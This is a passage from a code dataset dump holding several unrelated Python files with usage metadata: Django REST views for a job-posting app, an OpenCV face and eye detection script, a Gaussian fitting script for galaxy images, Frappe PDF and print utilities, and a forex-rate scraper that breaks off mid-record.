"usage_type": "call"}, {"api_name": "django.views.decorators.csrf.csrf_exempt", "line_number": 34, "usage_type": "name"}]} {"seq_id": "18092589505", "text": "from django.shortcuts import render\n\nfrom django.core.exceptions import ValidationError\nfrom django.db.models import Q, ProtectedError\n\nfrom rest_framework import status\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework.permissions import IsAuthenticated, AllowAny\n\nfrom recruit.models import JobOpening, Company\nfrom recruit.serializers import JobOpeningSerializer, UpdateJobOpeningSerializer, CompanySerializer\n\n\nclass JobOpeningView(APIView):\n permission_classes = [AllowAny, ]\n \n def get(self, request, jo_pk):\n job_opening = JobOpening.objects.get(pk=jo_pk)\n serializer = JobOpeningSerializer(job_opening)\n \n other_opening = JobOpening.objects.filter(company=job_opening.company)\n other_opening_pk = [x.pk for x in other_opening]\n other_opening_pk.pop(other_opening_pk.index(jo_pk))\n \n data = serializer.data\n data[\"other_opening\"] = other_opening_pk\n \n return Response({\"message\":\"success get!\", \"data\": data}, status=status.HTTP_200_OK)\n \n def put(self, request, jo_pk):\n data = request.data\n if data.get(\"company\"):\n raise ValidationError(\"company cannot be changed.\")\n \n serializer = UpdateJobOpeningSerializer(data=data, partial=True)\n job_opening = JobOpening.objects.get(pk=jo_pk)\n \n if serializer.is_valid():\n # serializer에 의해 company가 제외된다.\n print(\"serial data:\", serializer.validated_data)\n obj = serializer.update(job_opening, serializer.validated_data)\n result = UpdateJobOpeningSerializer(obj)\n return Response({\"message\": \"success update!\", \"data\": result.data}, status=status.HTTP_200_OK)\n\n return Response({\"message\": \"fail\"}, status=status.HTTP_400_BAD_REQUEST)\n \n \n def delete(self, request, jo_pk):\n job_opening = JobOpening.objects.get(pk=jo_pk)\n serializer = JobOpeningSerializer(job_opening)\n job_opening.delete()\n \n return Response({\"message\":\"success delete!\", \"data\": serializer.data}, status=status.HTTP_200_OK)\n\n\nclass JobOpeningCreateView(APIView):\n permission_classes = [AllowAny, ]\n \n def post(self, request):\n data = request.data\n serializer = JobOpeningSerializer(data=data)\n print(serializer.is_valid())\n print(serializer.errors)\n \n if serializer.is_valid():\n # serializer.data 는 Foreinkey의 pk만, serializer.validated_data는 object가 나옴\n obj = serializer.create(serializer.validated_data)\n result = JobOpeningSerializer(obj)\n return Response({\"message\": \"success create!\", \"data\": result.data }, status=status.HTTP_201_CREATED)\n \n return Response({\"message\": \"fail\", \"error\": serializer.errors }, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass JobOpeningListView(APIView):\n permission_classes = [AllowAny, ]\n \n def get(self, request):\n search_query = request.GET.get('search', None)\n \n if search_query:\n print(search_query)\n \n try:\n results = JobOpening.objects.filter(\n Q(company__name__icontains=search_query) | \n Q(position__icontains=search_query) | \n Q(content__icontains=search_query) | \n Q(tech__icontains=search_query)\n )\n except Company.DoesNotExist as e:\n results = JobOpening.objects.filter(\n Q(position__icontains=search_query) | \n Q(content__icontains=search_query) | \n Q(tech__icontains=search_query)\n )\n finally:\n serializer = JobOpeningSerializer(results, many=True)\n for data in serializer.data:\n data[\"company_name\"] = Company.objects.get(pk=data.get(\"id\")).name\n \n print(\"results:\",results)\n return Response({\"message\": \"success get!\", \"data\": serializer.data}, status=status.HTTP_200_OK)\n else:\n result = JobOpening.objects.all()\n serializer = JobOpeningSerializer(result, many=True)\n \n return Response({\"message\": \"success get!\", \"data\": serializer.data}, status=status.HTTP_200_OK)\n\n\nclass ApplyView(APIView):\n permission_classes = [AllowAny, ]\n \n def post(self, request, jo_pk):\n user = request.user\n job_opening = JobOpening.objects.get(pk=jo_pk)\n \n if job_opening in user.applyed.all():\n return Response({\"message\" : \"A Job Opening could be applied only once.\"}, status=status.HTTP_400_BAD_REQUEST)\n \n user.applyed.add(job_opening)\n serializer = JobOpeningSerializer(job_opening)\n \n return Response({\"message\": \"success to apply\", \"data\":serializer.data}, status=status.HTTP_200_OK)\n ", "repo_name": "YuJinsoo/wanted-pre-onboarding-backend", "sub_path": "recruit/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 5015, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "rest_framework.views.APIView", "line_number": 15, "usage_type": "name"}, {"api_name": "rest_framework.permissions.AllowAny", "line_number": 16, "usage_type": "name"}, {"api_name": "recruit.models.JobOpening.objects.get", "line_number": 19, "usage_type": "call"}, {"api_name": "recruit.models.JobOpening.objects", "line_number": 19, "usage_type": "attribute"}, {"api_name": "recruit.models.JobOpening", "line_number": 19, "usage_type": "name"}, {"api_name": "recruit.serializers.JobOpeningSerializer", "line_number": 20, "usage_type": "call"}, {"api_name": "recruit.models.JobOpening.objects.filter", "line_number": 22, "usage_type": "call"}, {"api_name": "recruit.models.JobOpening.objects", "line_number": 22, "usage_type": "attribute"}, {"api_name": "recruit.models.JobOpening", "line_number": 22, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 29, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 29, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 29, "usage_type": "name"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 34, "usage_type": "call"}, {"api_name": "recruit.serializers.UpdateJobOpeningSerializer", "line_number": 36, "usage_type": "call"}, {"api_name": "recruit.models.JobOpening.objects.get", "line_number": 37, "usage_type": "call"}, {"api_name": "recruit.models.JobOpening.objects", "line_number": 37, "usage_type": "attribute"}, {"api_name": "recruit.models.JobOpening", "line_number": 37, "usage_type": "name"}, {"api_name": "recruit.serializers.UpdateJobOpeningSerializer", "line_number": 43, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 44, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 44, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 44, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 46, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 46, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 46, "usage_type": "name"}, {"api_name": "recruit.models.JobOpening.objects.get", "line_number": 50, "usage_type": "call"}, {"api_name": "recruit.models.JobOpening.objects", "line_number": 50, "usage_type": "attribute"}, {"api_name": "recruit.models.JobOpening", "line_number": 50, "usage_type": "name"}, {"api_name": "recruit.serializers.JobOpeningSerializer", "line_number": 51, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 54, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 54, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 54, "usage_type": "name"}, {"api_name": "rest_framework.views.APIView", "line_number": 57, "usage_type": "name"}, {"api_name": "rest_framework.permissions.AllowAny", "line_number": 58, "usage_type": "name"}, {"api_name": "recruit.serializers.JobOpeningSerializer", "line_number": 62, "usage_type": "call"}, {"api_name": "recruit.serializers.JobOpeningSerializer", "line_number": 69, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 70, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_201_CREATED", "line_number": 70, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 70, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 72, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 72, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 72, "usage_type": "name"}, {"api_name": "rest_framework.views.APIView", "line_number": 75, "usage_type": "name"}, {"api_name": "rest_framework.permissions.AllowAny", "line_number": 76, "usage_type": "name"}, {"api_name": "recruit.models.JobOpening.objects.filter", "line_number": 85, "usage_type": "call"}, {"api_name": "recruit.models.JobOpening.objects", "line_number": 85, "usage_type": "attribute"}, {"api_name": "recruit.models.JobOpening", "line_number": 85, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 86, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 87, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 88, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 89, "usage_type": "call"}, {"api_name": "recruit.models.Company.DoesNotExist", "line_number": 91, "usage_type": "attribute"}, {"api_name": "recruit.models.Company", "line_number": 91, "usage_type": "name"}, {"api_name": "recruit.models.JobOpening.objects.filter", "line_number": 92, "usage_type": "call"}, {"api_name": "recruit.models.JobOpening.objects", "line_number": 92, "usage_type": "attribute"}, {"api_name": "recruit.models.JobOpening", "line_number": 92, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 93, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 94, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 95, "usage_type": "call"}, {"api_name": "recruit.serializers.JobOpeningSerializer", "line_number": 98, "usage_type": "call"}, {"api_name": "recruit.models.Company.objects.get", "line_number": 100, "usage_type": "call"}, {"api_name": "recruit.models.Company.objects", "line_number": 100, "usage_type": "attribute"}, {"api_name": "recruit.models.Company", "line_number": 100, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 103, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 103, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 103, "usage_type": "name"}, {"api_name": "recruit.models.JobOpening.objects.all", "line_number": 105, "usage_type": "call"}, {"api_name": "recruit.models.JobOpening.objects", "line_number": 105, "usage_type": "attribute"}, {"api_name": "recruit.models.JobOpening", "line_number": 105, "usage_type": "name"}, {"api_name": "recruit.serializers.JobOpeningSerializer", "line_number": 106, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 108, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 108, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 108, "usage_type": "name"}, {"api_name": "rest_framework.views.APIView", "line_number": 111, "usage_type": "name"}, {"api_name": "rest_framework.permissions.AllowAny", "line_number": 112, "usage_type": "name"}, {"api_name": "recruit.models.JobOpening.objects.get", "line_number": 116, "usage_type": "call"}, {"api_name": "recruit.models.JobOpening.objects", "line_number": 116, "usage_type": "attribute"}, {"api_name": "recruit.models.JobOpening", "line_number": 116, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 119, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 119, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 119, "usage_type": "name"}, {"api_name": "recruit.serializers.JobOpeningSerializer", "line_number": 122, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 124, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 124, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 124, "usage_type": "name"}]} {"seq_id": "33370312698", "text": "import cv2 as cv\r\nimport numpy as np\r\n\r\n\r\nPart28 = \"Face and eye detection\"\r\n# all the idea here that we are going to apply haar\r\n# haar is basically a method which applies different things on the picture to detect something\r\n\r\n# for eye detection, you won't get a wrong answer if you didn't crop the face, it will gave you the same result\r\n\r\n#image = cv.imread('C:/Users/LENOVO/Desktop/Pictures and videos/Me.jpg')\r\n\r\nimage = cv.imread('C:/Users/LENOVO/Desktop/Me.jpg')\r\ngray = cv.cvtColor(image,cv.COLOR_BGR2GRAY)\r\n\r\n# actually I didn't see any difference when I used haarcascade_frontalface_alt2, it gave me the same result\r\n\r\nface_classifier = cv.CascadeClassifier('haarcascade_frontalface_default.xml')\r\n\r\neye_classifier = cv.CascadeClassifier('haarcascade_eye.xml')\r\neye = eye_classifier.detectMultiScale(gray,1.3,5)\r\n\r\n# faces is a list holds four lines which borders the face\r\n\r\nfaces = face_classifier.detectMultiScale(gray,1.3,5)\r\n\r\nfor x,y,w,h in faces:\r\n cv.rectangle(image,(x,y),(x+w,y+h),(0,255,0),3)\r\n cv.imshow(\"window\",image)\r\n\r\nfor x,y,w,h in eye:\r\n cv.rectangle(image,(x,y),(x+w,y+h),(0,255,0),3)\r\n cv.imshow(\"window\",image)\r\n\r\ncv.waitKey()", "repo_name": "a1h2med/OpenCv_Projects", "sub_path": "Learning_Codes_and_Projects/Face and eye detection.py", "file_name": "Face and eye detection.py", "file_ext": "py", "file_size_in_byte": 1171, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "cv2.imread", "line_number": 13, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 14, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 14, "usage_type": "attribute"}, {"api_name": "cv2.CascadeClassifier", "line_number": 18, "usage_type": "call"}, {"api_name": "cv2.CascadeClassifier", "line_number": 20, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 28, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 29, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 32, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 33, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 35, "usage_type": "call"}]} {"seq_id": "21191227321", "text": "import numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy import optimize\n# unfinished 18/02\n\n\ndef gaussian(height, center_x, center_y, width_x, width_y):\n \"\"\"Returns a gaussian function with the given parameters\"\"\"\n width_x = float(width_x)\n width_y = float(width_y)\n return lambda x, y: height*np.exp(\n -(((center_x-x)/width_x)**2+((center_y-y)/width_y)**2)/2)\n\n\ndef moments(data):\n \"\"\"Returns (height, x, y, width_x, width_y)\n the gaussian parameters of a 2D distribution by calculating its\n moments \"\"\"\n total = data.sum()\n X, Y = np.indices(data.shape)\n x = (X*data).sum()/total\n y = (Y*data).sum()/total\n col = data[:, int(y)]\n width_x = np.sqrt(np.abs((np.arange(col.size)-y)**2*col).sum()/col.sum())\n row = data[int(x), :]\n width_y = np.sqrt(np.abs((np.arange(row.size)-x)**2*row).sum()/row.sum())\n height = data.max()\n return height, x, y, width_x, width_y\n\n\ndef fitgaussian(data):\n \"\"\"Returns (height, x, y, width_x, width_y)\n the gaussian parameters of a 2D distribution found by a fit\"\"\"\n params = moments(data)\n def errorfunction(p): return np.ravel(gaussian(*p)(*np.indices(data.shape)) -\n data)\n p, success = optimize.leastsq(errorfunction, params)\n return p\n\n\ndef gaussian_fitting(galaxies_points, img):\n for counter in range(5):\n galaxy = galaxies_points[counter]\n x_min, x_max = 1e9, 0\n y_min, y_max = 1e9, 0\n for point in galaxy:\n if point[0] < x_min:\n x_min = point[0]\n elif point[0] > x_max:\n x_max = point[0]\n if point[1] < y_min:\n y_min = point[1]\n elif point[1] > y_max:\n y_max = point[1]\n buffer = 0\n x_min = max(int(x_min-buffer), 0)\n # x_max = min(int(x_max+buffer), img.shape[1] - 1)\n y_min = max(int(y_min-buffer), 0)\n # y_max = min(int(y_max+buffer), img.shape[0] - 1)\n # print(x_min, x_max, y_min, y_max)\n if x_min == x_max or y_min == y_max:\n print(f'weird stuff {counter}')\n continue\n\n x = np.arange(x_min, x_max, 1)\n y = np.arange(y_min, y_max, 1)\n x, y = np.meshgrid(y, x)\n img_slice = img[x_min:x_max, y_min:y_max]\n params = fitgaussian(img_slice)\n fit = gaussian(*params)\n fig, ax = plt.subplots()\n plt.imshow(img_slice, origin='upper')\n plt.contour(fit(*np.indices(img_slice.shape)))\n # ax.contour(x, y, twoD_Gaussian((x, y), *popt).reshape(7, 12), 1, colors='w')\n\n\nif __name__ == '__main__':\n img = np.load('testData_noisy.npy')\n galaxies_points = np.load('galaxies_points.npy', allow_pickle=True)\n # print(img.shape)\n # print(len(galaxies_points))\n gaussian_fitting(galaxies_points, img)\n plt.show()\n", "repo_name": "stanleyycheung/astronomicalImageProcessing", "sub_path": "gaussian_fitting.py", "file_name": "gaussian_fitting.py", "file_ext": "py", "file_size_in_byte": 2855, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.exp", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.indices", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.ravel", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.indices", "line_number": 35, "usage_type": "call"}, {"api_name": "scipy.optimize.leastsq", "line_number": 37, "usage_type": "call"}, {"api_name": "scipy.optimize", "line_number": 37, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.meshgrid", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 71, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 71, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 72, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.contour", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 73, "usage_type": "name"}, {"api_name": "numpy.indices", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 79, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 83, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 83, "usage_type": "name"}]} {"seq_id": "32983544592", "text": "from __future__ import unicode_literals\n\nimport frappe, os, copy, json, re\nfrom frappe import _\n\nfrom frappe.modules import get_doc_path\nfrom jinja2 import TemplateNotFound\nfrom frappe.utils import cint, strip_html\nfrom frappe.utils.pdf import get_pdf,cleanup\nfrom PyPDF2 import PdfFileWriter, PdfFileReader\n\nno_cache = 1\nno_sitemap = 1\n\nbase_template_path = \"templates/www/printview.html\"\nstandard_format = \"templates/print_formats/standard.html\"\n\n@frappe.whitelist()\ndef download_multi_pdf(doctype, name, format=None):\n\t\"\"\"\n\tConcatenate multiple docs as PDF .\n\n\tReturns a PDF compiled by concatenating multiple documents. The documents\n\tcan be from a single DocType or multiple DocTypes\n\n\tNote: The design may seem a little weird, but it exists exists to\n\t\tensure backward compatibility. The correct way to use this function is to\n\t\tpass a dict to doctype as described below\n\n\tNEW FUNCTIONALITY\n\t=================\n\tParameters:\n\tdoctype (dict):\n\t\tkey (string): DocType name\n\t\tvalue (list): of strings of doc names which need to be concatenated and printed\n\tname (string):\n\t\tname of the pdf which is generated\n\tformat:\n\t\tPrint Format to be used\n\n\tReturns:\n\tPDF: A PDF generated by the concatenation of the mentioned input docs\n\n\tOLD FUNCTIONALITY - soon to be deprecated\n\t=========================================\n\tParameters:\n\tdoctype (string):\n\t\tname of the DocType to which the docs belong which need to be printed\n\tname (string or list):\n\t\tIf string the name of the doc which needs to be printed\n\t\tIf list the list of strings of doc names which needs to be printed\n\tformat:\n\t\tPrint Format to be used\n\n\tReturns:\n\tPDF: A PDF generated by the concatenation of the mentioned input docs\n\t\"\"\"\n\n\timport json\n\toutput = PdfFileWriter()\n\n\tif not isinstance(doctype, dict):\n\t\tresult = json.loads(name)\n\n\t\t# Concatenating pdf files\n\t\tfor i, ss in enumerate(result):\n\t\t\toutput = frappe.get_print(doctype, ss, format, as_pdf = True, output = output)\n\t\tfrappe.local.response.filename = \"{doctype}.pdf\".format(doctype=doctype.replace(\" \", \"-\").replace(\"/\", \"-\"))\n\telse:\n\t\tfor doctype_name in doctype:\n\t\t\tfor doc_name in doctype[doctype_name]:\n\t\t\t\ttry:\n\t\t\t\t\toutput = frappe.get_print(doctype_name, doc_name, format, as_pdf = True, output = output)\n\t\t\t\texcept Exception:\n\t\t\t\t\tfrappe.log_error(\"Permission Error on doc {} of doctype {}\".format(doc_name, doctype_name))\n\t\tfrappe.local.response.filename = \"{}.pdf\".format(name)\n\n\tfrappe.local.response.filecontent = read_multi_pdf(output)\n\tfrappe.local.response.type = \"download\"\n\ndef read_multi_pdf(output):\n\t# Get the content of the merged pdf files\n\tfname = os.path.join(\"/tmp\", \"frappe-pdf-{0}.pdf\".format(frappe.generate_hash()))\n\toutput.write(open(fname,\"wb\"))\n\n\twith open(fname, \"rb\") as fileobj:\n\t\tfiledata = fileobj.read()\n\n\treturn filedata\n\n@frappe.whitelist()\ndef download_pdf(doctype, name, format=None, doc=None, no_letterhead=0):\n\thtml = frappe.get_print(doctype, name, format, doc=doc, no_letterhead=no_letterhead)\n\tfrappe.local.response.filename = \"{name}.pdf\".format(name=name.replace(\" \", \"-\").replace(\"/\", \"-\"))\n\tfrappe.local.response.filecontent = get_pdf(html)\n\tfrappe.local.response.type = \"download\"\n\n@frappe.whitelist()\ndef report_to_pdf(html, orientation=\"Landscape\"):\n\tfrappe.local.response.filename = \"report.pdf\"\n\tfrappe.local.response.filecontent = get_pdf(html, {\"orientation\": orientation})\n\tfrappe.local.response.type = \"download\"\n\n@frappe.whitelist()\ndef print_by_server(doctype, name, print_format=None, doc=None, no_letterhead=0):\n\tprint_settings = frappe.get_doc(\"Print Settings\")\n\ttry:\n\t\timport cups\n\texcept ModuleNotFoundError:\n\t\tfrappe.throw(\"You need to install pycups to use this feature!\")\n\t\treturn\n\ttry:\n\t\tcups.setServer(print_settings.server_ip)\n\t\tcups.setPort(print_settings.port)\n\t\tconn = cups.Connection()\n\t\toutput = PdfFileWriter()\n\t\toutput = frappe.get_print(doctype, name, print_format, doc=doc, no_letterhead=no_letterhead, as_pdf = True, output = output)\n\t\tfile = os.path.join(\"/\", \"tmp\", \"frappe-pdf-{0}.pdf\".format(frappe.generate_hash()))\n\t\toutput.write(open(file,\"wb\"))\n\t\tconn.printFile(print_settings.printer_name,file , name, {})\n\texcept IOError as e:\n\t\tif (\"ContentNotFoundError\" in e.message\n\t\t\tor \"ContentOperationNotPermittedError\" in e.message\n\t\t\tor \"UnknownContentError\" in e.message\n\t\t\tor \"RemoteHostClosedError\" in e.message):\n\t\t\tfrappe.throw(_(\"PDF generation failed\"))\n\texcept cups.IPPError:\n\t\tfrappe.throw(_(\"Printing failed\"))\n\tfinally:\n\t\tcleanup(file,{})\n", "repo_name": "netchampfaris/frappe-deskv3", "sub_path": "frappe/utils/print_format.py", "file_name": "print_format.py", "file_ext": "py", "file_size_in_byte": 4459, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "71", "api": [{"api_name": "PyPDF2.PdfFileWriter", "line_number": 60, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 63, "usage_type": "call"}, {"api_name": "frappe.get_print", "line_number": 67, "usage_type": "call"}, {"api_name": "frappe.local", "line_number": 68, "usage_type": "attribute"}, {"api_name": "frappe.get_print", "line_number": 73, "usage_type": "call"}, {"api_name": "frappe.log_error", "line_number": 75, "usage_type": "call"}, {"api_name": "frappe.local", "line_number": 76, "usage_type": "attribute"}, {"api_name": "frappe.local", "line_number": 78, "usage_type": "attribute"}, {"api_name": "frappe.local", "line_number": 79, "usage_type": "attribute"}, {"api_name": "frappe.whitelist", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 83, "usage_type": "call"}, {"api_name": "os.path", "line_number": 83, "usage_type": "attribute"}, {"api_name": "frappe.generate_hash", "line_number": 83, "usage_type": "call"}, {"api_name": "frappe.get_print", "line_number": 93, "usage_type": "call"}, {"api_name": "frappe.local", "line_number": 94, "usage_type": "attribute"}, {"api_name": "frappe.local", "line_number": 95, "usage_type": "attribute"}, {"api_name": "frappe.utils.pdf.get_pdf", "line_number": 95, "usage_type": "call"}, {"api_name": "frappe.local", "line_number": 96, "usage_type": "attribute"}, {"api_name": "frappe.whitelist", "line_number": 91, "usage_type": "call"}, {"api_name": "frappe.local", "line_number": 100, "usage_type": "attribute"}, {"api_name": "frappe.local", "line_number": 101, "usage_type": "attribute"}, {"api_name": "frappe.utils.pdf.get_pdf", "line_number": 101, "usage_type": "call"}, {"api_name": "frappe.local", "line_number": 102, "usage_type": "attribute"}, {"api_name": "frappe.whitelist", "line_number": 98, "usage_type": "call"}, {"api_name": "frappe.get_doc", "line_number": 106, "usage_type": "call"}, {"api_name": "frappe.throw", "line_number": 110, "usage_type": "call"}, {"api_name": "cups.setServer", "line_number": 113, "usage_type": "call"}, {"api_name": "cups.setPort", "line_number": 114, "usage_type": "call"}, {"api_name": "cups.Connection", "line_number": 115, "usage_type": "call"}, {"api_name": "PyPDF2.PdfFileWriter", "line_number": 116, "usage_type": "call"}, {"api_name": "frappe.get_print", "line_number": 117, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 118, "usage_type": "call"}, {"api_name": "os.path", "line_number": 118, "usage_type": "attribute"}, {"api_name": "frappe.generate_hash", "line_number": 118, "usage_type": "call"}, {"api_name": "frappe.throw", "line_number": 126, "usage_type": "call"}, {"api_name": "frappe._", "line_number": 126, "usage_type": "call"}, {"api_name": "cups.IPPError", "line_number": 127, "usage_type": "attribute"}, {"api_name": "frappe.throw", "line_number": 128, "usage_type": "call"}, {"api_name": "frappe._", "line_number": 128, "usage_type": "call"}, {"api_name": "frappe.utils.pdf.cleanup", "line_number": 130, "usage_type": "call"}, {"api_name": "frappe.whitelist", "line_number": 104, "usage_type": "call"}]} {"seq_id": "30295449014", "text": "__author__ = 'sameer'\nfrom twisted.internet.defer import inlineCallbacks, returnValue\nfrom twisted.internet import reactor\nfrom twisted.python import log\nfrom pprint import pprint\nimport treq\nfrom decimal import Decimal\nfrom bs4 import BeautifulSoup\nfrom datetime import datetime, timedelta\nimport json\n\nclass Yahoo():\n def __init__(self, **kwargs):\n self.yahoo_uri = \"http://finance.yahoo.com/\"\n self.oanda_uri = \"http://www.oanda.com/currency/\"\n\n @inlineCallbacks\n def getOrderBook(self, ticker):\n payout, denominated = ticker.split('/')\n url = self.yahoo_uri + \"q\"\n params = {'s': \"%s%s=X\" % (payout, denominated)}\n response = yield treq.get(url, params=params)\n content = yield response.content()\n soup = BeautifulSoup(content)\n bid = Decimal(soup.find(id=\"yfs_b00_%s%s=x\" % (payout.lower(), denominated.lower())).text.replace(',', ''))\n ask = Decimal(soup.find(id=\"yfs_a00_%s%s=x\" % (payout.lower(), denominated.lower())).text.replace(',', ''))\n book = {'contract': ticker,\n 'bids': [{'price': bid, 'quantity': 0}],\n 'asks': [{'price': ask, 'quantity': 0}]}\n returnValue(book)\n\n @inlineCallbacks\n def getOHLCVHistory(self, ticker, period=\"day\", start_datetime=None, end_datetime=None):\n payout, denominated = ticker.split('/')\n\n url = self.oanda_uri + \"historical-rates/update\"\n params = {'date_fmt': 'us',\n 'start_date': start_datetime.strftime('%Y-%m-%d'),\n 'end_date': end_datetime.strftime('%Y-%m-%d'),\n 'period': \"daily\",\n 'quote_currency': payout,\n 'base_currency_0': denominated,\n 'rate': 0,\n 'view': 'table',\n 'display': 'absolute',\n 'price': 'bid',\n 'data_range': 'd90'}\n headers = {'X-Requested-With': 'XMLHttpRequest',\n 'X-Prototype-Version': '1.7',\n 'Referer': 'http://www.oanda.com/currency/historical-rates/'}\n try:\n response = yield treq.get(url, params=params, headers=headers)\n except Exception as e:\n pass\n content = yield response.content()\n parsed = json.loads(content)\n data = parsed['widget'][0]['data']\n ohlcv_history = {}\n\n for row in data:\n date = datetime.fromtimestamp(row[0]/1e3)\n price = float(row[1])\n epoch = datetime.utcfromtimestamp(0)\n open_timestamp = int((date - epoch).total_seconds() * 1e6)\n tomorrow_date = date + timedelta(days=1)\n close_timestamp = int((tomorrow_date - epoch).total_seconds() * 1e6) - 1\n\n ohlcv = {\n 'contract': ticker,\n 'open': price,\n 'high': price,\n 'low': price,\n 'close': price,\n 'volume': 0,\n 'vwap': price,\n 'open_timestamp': open_timestamp,\n 'close_timestamp': close_timestamp,\n 'period': period\n }\n ohlcv_history[open_timestamp] = ohlcv\n\n returnValue(ohlcv_history)\n\n\n\n\nif __name__ == \"__main__\":\n yahoo = Yahoo()\n #d = yahoo.getOrderBook('USD/MXN')\n #d.addCallback(pprint).addErrback(log.err)\n now = datetime.utcnow()\n d2 = yahoo.getOHLCVHistory('USD/HUF', start_datetime=now-timedelta(days=30), end_datetime=now)\n d2.addCallback(pprint).addErrback(log.err)\n\n reactor.run()", "repo_name": "Mrkebubun/sputnik", "sub_path": "clients/python/yahoo.py", "file_name": "yahoo.py", "file_ext": "py", "file_size_in_byte": 3558, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "treq.get", "line_number": 22, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 24, "usage_type": "call"}, {"api_name": "decimal.Decimal", "line_number": 25, "usage_type": "call"}, {"api_name": "decimal.Decimal", "line_number": 26, "usage_type": "call"}, {"api_name": "twisted.internet.defer.returnValue", "line_number": 30, "usage_type": "call"}, {"api_name": "twisted.internet.defer.inlineCallbacks", "line_number": 17, "usage_type": "name"}, {"api_name": "treq.get", "line_number": 52, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 56, "usage_type": "call"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 61, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 61, "usage_type": "name"}, {"api_name": "datetime.datetime.utcfromtimestamp", 